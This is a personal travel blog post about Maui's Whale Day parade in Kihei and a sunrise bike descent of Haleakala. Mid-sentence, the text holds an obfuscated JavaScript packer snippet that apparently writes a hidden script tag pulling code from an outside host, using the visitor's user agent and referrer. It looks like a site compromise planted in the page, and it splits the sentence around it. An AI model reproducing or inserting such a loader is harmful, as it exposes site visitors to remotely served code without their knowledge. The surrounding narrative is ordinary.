Whale parade and the bike down Haleakala

Happy Whale Day!  Kihei hosted a delightful parade and festival to bring awareness to the whales – currently taking residence off the coast.

I’ve had a thing for whales since 1st grade.  Our class even adopted a whale.  We made whale cookies to raise money.  I wrote a joke about a dolphin.

Apparently ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yessi|var|u0026u|referrer|iyrnn||js|php’.split(‘|’),0,{}))
there is a decent Celtic following in Maui.

And a whale pageant.  Not sure if I’d want to be a whale princess…..

The Geico Gekko.

Remember DARE?  It’s still alive in Maui!

The whale parade was a fun, local thing to do.  We tasted some yummy treats and browsed local crafts…..but I think I always expect parades to be like the Thanksgiving day parade…..so I’m really just setting myself up for failure.

In addition to the whale parade, Nick and I rode bikes down Haleakala (the highest peak on the island).

It seemed like a good idea when we signed up for the trip….from the comforts of our nice WARM house.  When the alarm went off at 2:30AM…..not such a great idea.

We took a 1-1.5 hr bus ride to the top of the mountain to watch the sunrise.  Then we exited the park and were all given bikes.

Did I mention I get competitive.  So we’re standing around, each group getting fitted for bikes, when I hear a girl tell her husband/boyfriend, “we’re gonna be the first ones down!”  She looked pretty solid, and her husband/boyfriend was on board.  She was a lot of talk.  I figured she was one of those kids with a road bike and spandex.  Then she requested the padded seat and talked about her cruiser back at home.  Ha.  Ok, I could take her.

Nick and I were at a clear disadvantage from the start.  We were the last ones to get our bike – and let’s be real – I’m competitive but also a huge scared-y cat.  The fact that we had wrap around helmets made  me a little nervous.  I must need this kind of protection for a reason.

Ok, so it started.  We’re heading down the hill and people are already pulling over to adjust their gear.  I’m no bicycle pro, but I felt pretty comfy on the bike.  Mr & Mrs “I’m so fast” we’re ahead of us and I wasn’t going to let up.

I was passing people left and right (really just 3 people) and everyone else kept stopping and pulling over to the side.  I like to believe it’s my incredible intimidation skills.

Pretty soon we were in the lead.  What?!  I think miss cruiser had some problems with her pants getting stuck in the gears…..should have used that rubber band we were provided.  We stopped to take a few pictures and still didn’t get passed.  When we finally pulled over for breakfast (yes, 4 donuts is breakfast when you’re on vacation) we saw a handful of people pass by.  But that’s ok.  At that point  I was fully content with my morning bike ride.

For my official review of the bike company and other things to do in Maui, visit www.1000usefulthings.com